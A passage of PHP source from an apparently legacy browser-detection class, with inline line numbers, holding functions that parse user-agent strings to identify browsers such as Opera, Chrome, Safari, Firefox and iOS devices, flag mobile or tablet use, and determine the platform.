} else if ($aresult[1] == '4.0') { 927 $this->setVersion('8.0'); 928 } else if ($aresult[1] == '5.0') { 929 $this->setVersion('9.0'); 930 } else if ($aresult[1] == '6.0') { 931 $this->setVersion('10.0'); 932 } else if ($aresult[1] == '7.0') { 933 $this->setVersion('11.0'); 934 } else if ($aresult[1] == '8.0') { 935 $this->setVersion('11.0'); 936 } 937 } 938 if (stripos($this->_agent, 'IEMobile') !== false) { 939 $this->setBrowser(self::BROWSER_POCKET_IE); 940 $this->setMobile(true); 941 } 942 943 return true; 944 } 945 } // Test for versions > IE 10 946 else if (stripos($this->_agent, 'trident') !== false) { 947 $this->setBrowser(self::BROWSER_IE); 948 $result = explode('rv:', $this->_agent); 949 if (isset($result[1])) { 950 $this->setVersion(preg_replace('/[^0-9.]+/', '', $result[1])); 951 $this->_agent = str_replace(array("Mozilla", "Gecko"), "MSIE", $this->_agent); 952 } 953 } // Test for Pocket IE 954 else if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) { 955 $aresult = explode(' ', stristr($this->_agent, 'mspie')); 956 if (isset($aresult[1])) { 957 $this->setPlatform(self::PLATFORM_WINDOWS_CE); 958 $this->setBrowser(self::BROWSER_POCKET_IE); 959 $this->setMobile(true); 960 961 if (stripos($this->_agent, 'mspie') !== false) { 962 $this->setVersion($aresult[1]); 963 } else { 964 $aversion = explode('/', $this->_agent); 965 if (isset($aversion[1])) { 966 $this->setVersion($aversion[1]); 967 } 968 } 969 970 return true; 971 } 972 } 973 974 return false; 975 } 976 977 /** 978 * Determine if the browser is Opera or not (last updated 1.7) 979 * @return boolean True if the browser is Opera otherwise false 980 */ 981 protected function checkBrowserOpera() { 982 if (stripos($this->_agent, 'opera mini') !== false) { 983 $resultant = stristr($this->_agent, 'opera mini'); 984 if (preg_match('/\//', $resultant)) { 985 $aresult = explode('/', $resultant); 986 if (isset($aresult[1])) { 987 $aversion = explode(' ', $aresult[1]); 988 $this->setVersion($aversion[0]); 989 } 990 } else { 991 $aversion = explode(' ', stristr($resultant, 'opera mini')); 992 if (isset($aversion[1])) { 993 $this->setVersion($aversion[1]); 994 } 995 } 996 $this->_browser_name = self::BROWSER_OPERA_MINI; 997 $this->setMobile(true); 998 999 return true; 1000 } else if (stripos($this->_agent, 'opera') !== false) { 1001 $resultant = stristr($this->_agent, 'opera'); 1002 if (preg_match('/Version\/(1*.*)$/', $resultant, $matches)) { 1003 $this->setVersion($matches[1]); 1004 } else if (preg_match('/\//', $resultant)) { 1005 $aresult = explode('/', str_replace("(", " ", $resultant)); 1006 if (isset($aresult[1])) { 1007 $aversion = explode(' ', $aresult[1]); 1008 $this->setVersion($aversion[0]); 1009 } 1010 } else { 1011 $aversion = explode(' ', stristr($resultant, 'opera')); 1012 $this->setVersion(isset($aversion[1]) ? $aversion[1] : "" ); 1013 } 1014 if (stripos($this->_agent, 'Opera Mobi') !== false) { 1015 $this->setMobile(true); 1016 } 1017 $this->_browser_name = self::BROWSER_OPERA; 1018 1019 return true; 1020 } else if (stripos($this->_agent, 'OPR') !== false) { 1021 $resultant = stristr($this->_agent, 'OPR'); 1022 if (preg_match('/\//', $resultant)) { 1023 $aresult = explode('/', str_replace("(", " ", $resultant)); 1024 if (isset($aresult[1])) { 1025 $aversion = explode(' ', $aresult[1]); 1026 $this->setVersion($aversion[0]); 1027 } 1028 } 1029 if (stripos($this->_agent, 'Mobile') !== false) { 1030 $this->setMobile(true); 1031 } 1032 $this->_browser_name = self::BROWSER_OPERA; 1033 1034 return true; 1035 } 1036 1037 return false; 1038 } 1039 1040 /** 1041 * Determine if the browser is Chrome or not (last updated 1.7) 1042 * @return boolean True if the browser is Chrome otherwise false 1043 */ 1044 protected function checkBrowserChrome() { 1045 if (stripos($this->_agent, 'Chrome') !== false) { 1046 $aresult = explode('/', stristr($this->_agent, 'Chrome')); 1047 if (isset($aresult[1])) { 1048 $aversion = explode(' ', $aresult[1]); 1049 $this->setVersion($aversion[0]); 1050 $this->setBrowser(self::BROWSER_CHROME); 1051 //Chrome on Android 1052 if (stripos($this->_agent, 'Android') !== false) { 1053 if (stripos($this->_agent, 'Mobile') !== false) { 1054 $this->setMobile(true); 1055 } else { 1056 $this->setTablet(true); 1057 } 1058 } 1059 1060 return true; 1061 } 1062 } 1063 1064 return false; 1065 } 1066 1067 /** 1068 * Determine if the browser is WebTv or not (last updated 1.7) 1069 * @return boolean True if the browser is WebTv otherwise false 1070 */ 1071 protected function checkBrowserWebTv() { 1072 if (stripos($this->_agent, 'webtv') !== false) { 1073 $aresult = explode('/', stristr($this->_agent, 'webtv')); 1074 if (isset($aresult[1])) { 1075 $aversion = explode(' ', $aresult[1]); 1076 $this->setVersion($aversion[0]); 1077 $this->setBrowser(self::BROWSER_WEBTV); 1078 1079 return true; 1080 } 1081 } 1082 1083 return false; 1084 } 1085 1086 /** 1087 * Determine if the browser is NetPositive or not (last updated 1.7) 1088 * @return boolean True if the browser is NetPositive otherwise false 1089 */ 1090 protected function checkBrowserNetPositive() { 1091 if (stripos($this->_agent, 'NetPositive') !== false) { 1092 $aresult = explode('/', stristr($this->_agent, 'NetPositive')); 1093 if (isset($aresult[1])) { 1094 $aversion = explode(' ', $aresult[1]); 1095 $this->setVersion(str_replace(array('(', ')', ';'), '', $aversion[0])); 1096 $this->setBrowser(self::BROWSER_NETPOSITIVE); 1097 1098 return true; 1099 } 1100 } 1101 1102 return false; 1103 } 1104 1105 /** 1106 * Determine if the browser is Galeon or not (last updated 1.7) 1107 * @return boolean True if the browser is Galeon otherwise false 1108 */ 1109 protected function checkBrowserGaleon() { 1110 if (stripos($this->_agent, 'galeon') !== false) { 1111 $aresult = explode(' ', stristr($this->_agent, 'galeon')); 1112 $aversion = explode('/', $aresult[0]); 1113 if (isset($aversion[1])) { 1114 $this->setVersion($aversion[1]); 1115 $this->setBrowser(self::BROWSER_GALEON); 1116 1117 return true; 1118 } 1119 } 1120 1121 return false; 1122 } 1123 1124 /** 1125 * Determine if the browser is Konqueror or not (last updated 1.7) 1126 * @return boolean True if the browser is Konqueror otherwise false 1127 */ 1128 protected function checkBrowserKonqueror() { 1129 if (stripos($this->_agent, 'Konqueror') !== false) { 1130 $aresult = explode(' ', stristr($this->_agent, 'Konqueror')); 1131 $aversion = explode('/', $aresult[0]); 1132 if (isset($aversion[1])) { 1133 $this->setVersion($aversion[1]); 1134 $this->setBrowser(self::BROWSER_KONQUEROR); 1135 1136 return true; 1137 } 1138 } 1139 1140 return false; 1141 } 1142 1143 /** 1144 * Determine if the browser is iCab or not (last updated 1.7) 1145 * @return boolean True if the browser is iCab otherwise false 1146 */ 1147 protected function checkBrowserIcab() { 1148 if (stripos($this->_agent, 'icab') !== false) { 1149 $aversion = explode(' ', stristr(str_replace('/', ' ', $this->_agent), 'icab')); 1150 if (isset($aversion[1])) { 1151 $this->setVersion($aversion[1]); 1152 $this->setBrowser(self::BROWSER_ICAB); 1153 1154 return true; 1155 } 1156 } 1157 1158 return false; 1159 } 1160 1161 /** 1162 * Determine if the browser is OmniWeb or not (last updated 1.7) 1163 * @return boolean True if the browser is OmniWeb otherwise false 1164 */ 1165 protected function checkBrowserOmniWeb() { 1166 if (stripos($this->_agent, 'omniweb') !== false) { 1167 $aresult = explode('/', stristr($this->_agent, 'omniweb')); 1168 $aversion = explode(' ', isset($aresult[1]) ? $aresult[1] : ""); 1169 $this->setVersion($aversion[0]); 1170 $this->setBrowser(self::BROWSER_OMNIWEB); 1171 1172 return true; 1173 } 1174 1175 return false; 1176 } 1177 1178 /** 1179 * Determine if the browser is Phoenix or not (last updated 1.7) 1180 * @return boolean True if the browser is Phoenix otherwise false 1181 */ 1182 protected function checkBrowserPhoenix() { 1183 if (stripos($this->_agent, 'Phoenix') !== false) { 1184 $aversion = explode('/', stristr($this->_agent, 'Phoenix')); 1185 if (isset($aversion[1])) { 1186 $this->setVersion($aversion[1]); 1187 $this->setBrowser(self::BROWSER_PHOENIX); 1188 1189 return true; 1190 } 1191 } 1192 1193 return false; 1194 } 1195 1196 /** 1197 * Determine if the browser is Firebird or not (last updated 1.7) 1198 * @return boolean True if the browser is Firebird otherwise false 1199 */ 1200 protected function checkBrowserFirebird() { 1201 if (stripos($this->_agent, 'Firebird') !== false) { 1202 $aversion = explode('/', stristr($this->_agent, 'Firebird')); 1203 if (isset($aversion[1])) { 1204 $this->setVersion($aversion[1]); 1205 $this->setBrowser(self::BROWSER_FIREBIRD); 1206 1207 return true; 1208 } 1209 } 1210 1211 return false; 1212 } 1213 1214 /** 1215 * Determine if the browser is Netscape Navigator 9+ or not (last updated 1.7) 1216 * NOTE: (http://browser.netscape.com/ - Official support ended on March 1st, 2008) 1217 * @return boolean True if the browser is Netscape Navigator 9+ otherwise false 1218 */ 1219 protected function checkBrowserNetscapeNavigator9Plus() { 1220 if (stripos($this->_agent, 'Firefox') !== false && preg_match('/Navigator\/([^ ]*)/i', $this->_agent, $matches)) { 1221 $this->setVersion($matches[1]); 1222 $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); 1223 1224 return true; 1225 } else if (stripos($this->_agent, 'Firefox') === false && preg_match('/Netscape6?\/([^ ]*)/i', $this->_agent, $matches)) { 1226 $this->setVersion($matches[1]); 1227 $this->setBrowser(self::BROWSER_NETSCAPE_NAVIGATOR); 1228 1229 return true; 1230 } 1231 1232 return false; 1233 } 1234 1235 /** 1236 * Determine if the browser is Shiretoko or not (https://wiki.mozilla.org/Projects/shiretoko) (last updated 1.7) 1237 * @return boolean True if the browser is Shiretoko otherwise false 1238 */ 1239 protected function checkBrowserShiretoko() { 1240 if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/Shiretoko\/([^ ]*)/i', $this->_agent, $matches)) { 1241 $this->setVersion($matches[1]); 1242 $this->setBrowser(self::BROWSER_SHIRETOKO); 1243 1244 return true; 1245 } 1246 1247 return false; 1248 } 1249 1250 /** 1251 * Determine if the browser is Ice Cat or not (http://en.wikipedia.org/wiki/GNU_IceCat) (last updated 1.7) 1252 * @return boolean True if the browser is Ice Cat otherwise false 1253 */ 1254 protected function checkBrowserIceCat() { 1255 if (stripos($this->_agent, 'Mozilla') !== false && preg_match('/IceCat\/([^ ]*)/i', $this->_agent, $matches)) { 1256 $this->setVersion($matches[1]); 1257 $this->setBrowser(self::BROWSER_ICECAT); 1258 1259 return true; 1260 } 1261 1262 return false; 1263 } 1264 1265 /** 1266 * Determine if the browser is Nokia or not (last updated 1.7) 1267 * @return boolean True if the browser is Nokia otherwise false 1268 */ 1269 protected function checkBrowserNokia() { 1270 if (preg_match("/Nokia([^\/]+)\/([^ SP]+)/i", $this->_agent, $matches)) { 1271 $this->setVersion($matches[2]); 1272 if (stripos($this->_agent, 'Series60') !== false || strpos($this->_agent, 'S60') !== false) { 1273 $this->setBrowser(self::BROWSER_NOKIA_S60); 1274 } else { 1275 $this->setBrowser(self::BROWSER_NOKIA); 1276 } 1277 $this->setMobile(true); 1278 1279 return true; 1280 } 1281 1282 return false; 1283 } 1284 1285 /** 1286 * Determine if the browser is Firefox or not (last updated 1.7) 1287 * @return boolean True if the browser is Firefox otherwise false 1288 */ 1289 protected function checkBrowserFirefox() { 1290 if (stripos($this->_agent, 'safari') === false) { 1291 if (preg_match("/Firefox[\/ \(]([^ ;\)]+)/i", $this->_agent, $matches)) { 1292 $this->setVersion($matches[1]); 1293 $this->setBrowser(self::BROWSER_FIREFOX); 1294 //Firefox on Android 1295 if (stripos($this->_agent, 'Android') !== false) { 1296 if (stripos($this->_agent, 'Mobile') !== false) { 1297 $this->setMobile(true); 1298 } else { 1299 $this->setTablet(true); 1300 } 1301 } 1302 1303 return true; 1304 } else if (preg_match("/Firefox$/i", $this->_agent, $matches)) { 1305 $this->setVersion(""); 1306 $this->setBrowser(self::BROWSER_FIREFOX); 1307 1308 return true; 1309 } 1310 } 1311 1312 return false; 1313 } 1314 1315 /** 1316 * Determine if the browser is Firefox or not (last updated 1.7) 1317 * @return boolean True if the browser is Firefox otherwise false 1318 */ 1319 protected function checkBrowserIceweasel() { 1320 if (stripos($this->_agent, 'Iceweasel') !== false) { 1321 $aresult = explode('/', stristr($this->_agent, 'Iceweasel')); 1322 if (isset($aresult[1])) { 1323 $aversion = explode(' ', $aresult[1]); 1324 $this->setVersion($aversion[0]); 1325 $this->setBrowser(self::BROWSER_ICEWEASEL); 1326 1327 return true; 1328 } 1329 } 1330 1331 return false; 1332 } 1333 1334 /** 1335 * Determine if the browser is Mozilla or not (last updated 1.7) 1336 * @return boolean True if the browser is Mozilla otherwise false 1337 */ 1338 protected function checkBrowserMozilla() { 1339 if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { 1340 $aversion = explode(' ', stristr($this->_agent, 'rv:')); 1341 preg_match('/rv:[0-9].[0-9][a-b]?/i', $this->_agent, $aversion); 1342 $this->setVersion(str_replace('rv:', '', $aversion[0])); 1343 $this->setBrowser(self::BROWSER_MOZILLA); 1344 1345 return true; 1346 } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/rv:[0-9]\.[0-9]/i', $this->_agent) && stripos($this->_agent, 'netscape') === false) { 1347 $aversion = explode('', stristr($this->_agent, 'rv:')); 1348 $this->setVersion(str_replace('rv:', '', $aversion[0])); 1349 $this->setBrowser(self::BROWSER_MOZILLA); 1350 1351 return true; 1352 } else if (stripos($this->_agent, 'mozilla') !== false && preg_match('/mozilla\/([^ ]*)/i', $this->_agent, $matches) && stripos($this->_agent, 'netscape') === false) { 1353 $this->setVersion($matches[1]); 1354 $this->setBrowser(self::BROWSER_MOZILLA); 1355 1356 return true; 1357 } 1358 1359 return false; 1360 } 1361 1362 /** 1363 * Determine if the browser is Lynx or not (last updated 1.7) 1364 * @return boolean True if the browser is Lynx otherwise false 1365 */ 1366 protected function checkBrowserLynx() { 1367 if (stripos($this->_agent, 'lynx') !== false) { 1368 $aresult = explode('/', stristr($this->_agent, 'Lynx')); 1369 $aversion = explode(' ', ( isset($aresult[1]) ? $aresult[1] : "")); 1370 $this->setVersion($aversion[0]); 1371 $this->setBrowser(self::BROWSER_LYNX); 1372 1373 return true; 1374 } 1375 1376 return false; 1377 } 1378 1379 /** 1380 * Determine if the browser is Amaya or not (last updated 1.7) 1381 * @return boolean True if the browser is Amaya otherwise false 1382 */ 1383 protected function checkBrowserAmaya() { 1384 if (stripos($this->_agent, 'amaya') !== false) { 1385 $aresult = explode('/', stristr($this->_agent, 'Amaya')); 1386 if (isset($aresult[1])) { 1387 $aversion = explode(' ', $aresult[1]); 1388 $this->setVersion($aversion[0]); 1389 $this->setBrowser(self::BROWSER_AMAYA); 1390 1391 return true; 1392 } 1393 } 1394 1395 return false; 1396 } 1397 1398 /** 1399 * Determine if the browser is Safari or not (last updated 1.7) 1400 * @return boolean True if the browser is Safari otherwise false 1401 */ 1402 protected function checkBrowserSafari() { 1403 if (stripos($this->_agent, 'Safari') !== false && stripos($this->_agent, 'iPhone') === false && stripos($this->_agent, 'iPod') === false 1404 ) { 1405 1406 $aresult = explode('/', stristr($this->_agent, 'Version')); 1407 if (isset($aresult[1])) { 1408 $aversion = explode(' ', $aresult[1]); 1409 $this->setVersion($aversion[0]); 1410 } else { 1411 $this->setVersion(self::VERSION_UNKNOWN); 1412 } 1413 $this->setBrowser(self::BROWSER_SAFARI); 1414 1415 return true; 1416 } 1417 1418 return false; 1419 } 1420 1421 protected function checkBrowserSamsung() { 1422 if (stripos($this->_agent, 'SamsungBrowser') !== false) { 1423 1424 $aresult = explode('/', stristr($this->_agent, 'SamsungBrowser')); 1425 if (isset($aresult[1])) { 1426 $aversion = explode(' ', $aresult[1]); 1427 $this->setVersion($aversion[0]); 1428 } else { 1429 $this->setVersion(self::VERSION_UNKNOWN); 1430 } 1431 $this->setBrowser(self::BROWSER_SAMSUNG); 1432 1433 return true; 1434 } 1435 1436 return false; 1437 } 1438 1439 protected function checkBrowserSilk() { 1440 if (stripos($this->_agent, 'Silk') !== false) { 1441 $aresult = explode('/', stristr($this->_agent, 'Silk')); 1442 if (isset($aresult[1])) { 1443 $aversion = explode(' ', $aresult[1]); 1444 $this->setVersion($aversion[0]); 1445 } else { 1446 $this->setVersion(self::VERSION_UNKNOWN); 1447 } 1448 $this->setBrowser(self::BROWSER_SILK); 1449 1450 return true; 1451 } 1452 1453 return false; 1454 } 1455 1456 protected function checkBrowserIframely() { 1457 if (stripos($this->_agent, 'Iframely') !== false) { 1458 $aresult = explode('/', stristr($this->_agent, 'Iframely')); 1459 if (isset($aresult[1])) { 1460 $aversion = explode(' ', $aresult[1]); 1461 $this->setVersion($aversion[0]); 1462 } else { 1463 $this->setVersion(self::VERSION_UNKNOWN); 1464 } 1465 $this->setBrowser(self::BROWSER_I_FRAME); 1466 1467 return true; 1468 } 1469 1470 return false; 1471 } 1472 1473 protected function checkBrowserCocoa() { 1474 if (stripos($this->_agent, 'CocoaRestClient') !== false) { 1475 $aresult = explode('/', stristr($this->_agent, 'CocoaRestClient')); 1476 if (isset($aresult[1])) { 1477 $aversion = explode(' ', $aresult[1]); 1478 $this->setVersion($aversion[0]); 1479 } else { 1480 $this->setVersion(self::VERSION_UNKNOWN); 1481 } 1482 $this->setBrowser(self::BROWSER_COCOA); 1483 1484 return true; 1485 } 1486 1487 return false; 1488 } 1489 1490 /** 1491 * Detect if URL is loaded from FacebookExternalHit 1492 * @return boolean True if it detects FacebookExternalHit otherwise false 1493 */ 1494 protected function checkFacebookExternalHit() { 1495 if (stristr($this->_agent, 'FacebookExternalHit')) { 1496 $this->setRobot(true); 1497 $this->setFacebook(true); 1498 1499 return true; 1500 } 1501 1502 return false; 1503 } 1504 1505 /** 1506 * Detect if URL is being loaded from internal Facebook browser 1507 * @return boolean True if it detects internal Facebook browser otherwise false 1508 */ 1509 protected function checkForFacebookIos() { 1510 if (stristr($this->_agent, 'FBIOS')) { 1511 $this->setFacebook(true); 1512 1513 return true; 1514 } 1515 1516 return false; 1517 } 1518 1519 /** 1520 * Detect Version for the Safari browser on iOS devices 1521 * @return boolean True if it detects the version correctly otherwise false 1522 */ 1523 protected function getSafariVersionOnIos() { 1524 $aresult = explode('/', stristr($this->_agent, 'Version')); 1525 if (isset($aresult[1])) { 1526 $aversion = explode(' ', $aresult[1]); 1527 $this->setVersion($aversion[0]); 1528 1529 return true; 1530 } 1531 1532 return false; 1533 } 1534 1535 /** 1536 * Detect Version for the Chrome browser on iOS devices 1537 * @return boolean True if it detects the version correctly otherwise false 1538 */ 1539 protected function getChromeVersionOnIos() { 1540 $aresult = explode('/', stristr($this->_agent, 'CriOS')); 1541 if (isset($aresult[1])) { 1542 $aversion = explode(' ', $aresult[1]); 1543 $this->setVersion($aversion[0]); 1544 $this->setBrowser(self::BROWSER_CHROME); 1545 1546 return true; 1547 } 1548 1549 return false; 1550 } 1551 1552 /** 1553 * Determine if the browser is iPhone or not (last updated 1.7) 1554 * @return boolean True if the browser is iPhone otherwise false 1555 */ 1556 protected function checkBrowseriPhone() { 1557 if (stripos($this->_agent, 'iPhone') !== false) { 1558 $this->setVersion(self::VERSION_UNKNOWN); 1559 $this->setBrowser(self::BROWSER_IPHONE); 1560 $this->getSafariVersionOnIos(); 1561 $this->getChromeVersionOnIos(); 1562 $this->checkForFacebookIos(); 1563 $this->setMobile(true); 1564 1565 return true; 1566 } 1567 1568 return false; 1569 } 1570 1571 /** 1572 * Determine if the browser is iPad or not (last updated 1.7) 1573 * @return boolean True if the browser is iPad otherwise false 1574 */ 1575 protected function checkBrowseriPad() { 1576 if (stripos($this->_agent, 'iPad') !== false) { 1577 $this->setVersion(self::VERSION_UNKNOWN); 1578 $this->setBrowser(self::BROWSER_IPAD); 1579 $this->getSafariVersionOnIos(); 1580 $this->getChromeVersionOnIos(); 1581 $this->checkForFacebookIos(); 1582 $this->setTablet(true); 1583 1584 return true; 1585 } 1586 1587 return false; 1588 } 1589 1590 /** 1591 * Determine if the browser is iPod or not (last updated 1.7) 1592 * @return boolean True if the browser is iPod otherwise false 1593 */ 1594 protected function checkBrowseriPod() { 1595 if (stripos($this->_agent, 'iPod') !== false) { 1596 $this->setVersion(self::VERSION_UNKNOWN); 1597 $this->setBrowser(self::BROWSER_IPOD); 1598 $this->getSafariVersionOnIos(); 1599 $this->getChromeVersionOnIos(); 1600 $this->checkForFacebookIos(); 1601 $this->setMobile(true); 1602 1603 return true; 1604 } 1605 1606 return false; 1607 } 1608 1609 /** 1610 * Determine if the browser is Android or not (last updated 1.7) 1611 * @return boolean True if the browser is Android otherwise false 1612 */ 1613 protected function checkBrowserAndroid() { 1614 if (stripos($this->_agent, 'Android') !== false) { 1615 $aresult = explode(' ', stristr($this->_agent, 'Android')); 1616 if (isset($aresult[1])) { 1617 $aversion = explode(' ', $aresult[1]); 1618 $this->setVersion($aversion[0]); 1619 } else { 1620 $this->setVersion(self::VERSION_UNKNOWN); 1621 } 1622 if (stripos($this->_agent, 'Mobile') !== false) { 1623 $this->setMobile(true); 1624 } else { 1625 $this->setTablet(true); 1626 } 1627 $this->setBrowser(self::BROWSER_ANDROID); 1628 1629 return true; 1630 } 1631 1632 return false; 1633 } 1634 1635 /** 1636 * Determine if the browser is Vivaldi 1637 * @return boolean True if the browser is Vivaldi otherwise false 1638 */ 1639 protected function checkBrowserVivaldi() { 1640 if (stripos($this->_agent, 'Vivaldi') !== false) { 1641 $aresult = explode('/', stristr($this->_agent, 'Vivaldi')); 1642 if (isset($aresult[1])) { 1643 $aversion = explode(' ', $aresult[1]); 1644 $this->setVersion($aversion[0]); 1645 $this->setBrowser(self::BROWSER_VIVALDI); 1646 1647 return true; 1648 } 1649 } 1650 1651 return false; 1652 } 1653 1654 /** 1655 * Determine if the browser is Yandex 1656 * @return boolean True if the browser is Yandex otherwise false 1657 */ 1658 protected function checkBrowserYandex() { 1659 if (stripos($this->_agent, 'YaBrowser') !== false) { 1660 $aresult = explode('/', stristr($this->_agent, 'YaBrowser')); 1661 if (isset($aresult[1])) { 1662 $aversion = explode(' ', $aresult[1]); 1663 $this->setVersion($aversion[0]); 1664 $this->setBrowser(self::BROWSER_YANDEX); 1665 1666 if (stripos($this->_agent, 'iPad') !== false) { 1667 $this->setTablet(true); 1668 } elseif (stripos($this->_agent, 'Mobile') !== false) { 1669 $this->setMobile(true); 1670 } elseif (stripos($this->_agent, 'Android') !== false) { 1671 $this->setTablet(true); 1672 } 1673 1674 return true; 1675 } 1676 } 1677 1678 return false; 1679 } 1680 1681 /** 1682 * Determine if the browser is a PlayStation 1683 * @return boolean True if the browser is PlayStation otherwise false 1684 */ 1685 protected function checkBrowserPlayStation() { 1686 if (stripos($this->_agent, 'PlayStation ') !== false) { 1687 $aresult = explode(' ', stristr($this->_agent, 'PlayStation ')); 1688 $this->setBrowser(self::BROWSER_PLAYSTATION); 1689 if (isset($aresult[0])) { 1690 $aversion = explode(')', $aresult[2]); 1691 $this->setVersion($aversion[0]); 1692 if (stripos($this->_agent, 'Portable)') !== false || stripos($this->_agent, 'Vita') !== false) { 1693 $this->setMobile(true); 1694 } 1695 1696 return true; 1697 } 1698 } 1699 1700 return false; 1701 } 1702 1703 /** 1704 * Determine the user's platform (last updated 2.0) 1705 */ 1706 protected function checkPlatform() { 1707 if (stripos($this->_agent, 'windows') !== false) { 1708 $this->_platform = self::PLATFORM_WINDOWS; 1709 } else if (stripos($this->_agent, 'iPad') !== false) { 1710 $this->_platform = self::PLATFORM_IPAD; 1711 } else if (stripos($this->_agent, 'iPod') !== false) { 1712 $this->_platform = self::PLATFORM_IPOD; 1713 } else if (stripos($this->_agent, 'iPhone') !== false) { 1714 $this->_platform = self::PLATFORM_IPHONE; 1715 } elseif (stripos($this->_agent, 'mac') !== false) { 1716 $this->_platform = self::PLATFORM_APPLE; 1717 } elseif (stripos($this->_agent, 'android') !== false) { 1718 $this->_platform = self::PLATFORM_ANDROID; 1719 } elseif (stripos($this->_agent, 'Silk') !== false) { 1720 $this->_platform = self::PLATFORM_FIRE_OS; 1721 } elseif (stripos($this->_agent, 'linux') !== false && stripos($this->_agent, 'SMART-TV') !== false) { 1722 $this->_platform = self::PLATFORM_LINUX . '/' . self::PLATFORM_SMART_TV; 1723 } elseif (stripos($this->_agent, 'linux') !== false) { 1724 $this->_platform = self::PLATFORM_LINUX; 1725 } else if (stripos($this->_agent, 'Nokia') !== false) { 1726 $this->_platform = self::PLATFORM_NOKIA; 1727 } else if (stripos($this->_agent, 'BlackBerry') !== false) { 1728 $this->_platform = self::PLATFORM_BLACKBERRY; 1729 } elseif (stripos($this->_agent, 'FreeBSD') !== false) { 1730 $this->_platform = self::PLATFORM_FREEBSD; 1731 } elseif (stripos($this->_agent, 'OpenBSD') !== false) { 1732 $this->_platform = self::PLATFORM_OPENBSD; 1733 } elseif (stripos($this->_agent, 'NetBSD') !== false) { 1734 $this->_platform = self::PLATFORM_NETBSD; 1735 } elseif (stripos($this->_agent, 'OpenSolaris') !== false) { 1736 $this->_platform = self::PLATFORM_OPENSOLARIS; 1737 } elseif (stripos($this->_agent, 'SunOS') !== false) { 1738 $this->_platform = self::PLATFORM_SUNOS; 1739 } elseif (stripos($this->_agent, 'OS\/2') !== false) { 1740 $this->_platform = self::PLATFORM_OS2; 1741 } elseif (stripos($this->_agent, 'BeOS') !== false) { 1742 $this->_platform = self::PLATFORM_BEOS; 1743 } elseif (stripos($this->_agent, 'win') !== false) { 1744 $this->_platform = self::PLATFORM_WINDOWS; 1745 } elseif (stripos($this->_agent, 'Playstation') !== false) { 1746 $this->_platform = self::PLATFORM_PLAYSTATION; 1747 } elseif (stripos($this->_agent, 'Roku') !== false) { 1748 $this->_platform = self::PLATFORM_ROKU; 1749 } elseif (stripos($this->_agent, 'iOS') !== false) { 1750 $this->_platform = self::PLATFORM_IPHONE . '/' . self::PLATFORM_IPAD; 1751 } elseif (stripos($this->_agent, 'tvOS') !== false) { 1752 $this->_platform = self::PLATFORM_APPLE_TV; 1753 } elseif (stripos($this->_agent, 'curl') !== false) { 1754 $this->_platform = self::PLATFORM_TERMINAL; 1755 } elseif (stripos($this->_agent, 'CrOS') !== false) { 1756 $this->_platform = self::PLATFORM_CHROME_OS; 1757 } elseif (stripos($this->_agent, 'okhttp') !== false) { 1758 $this->_platform = self::PLATFORM_JAVA_ANDROID; 1759 } elseif (stripos($this->_agent, 'PostmanRuntime') !== false) { 1760 $this->_platform = self::PLATFORM_POSTMAN; 1761 } elseif (stripos($this->_agent, 'Iframely') !== false) { 1762 $this->_platform = self::PLATFORM_I_FRAME; 1763 } 1764 } 1765 1766 }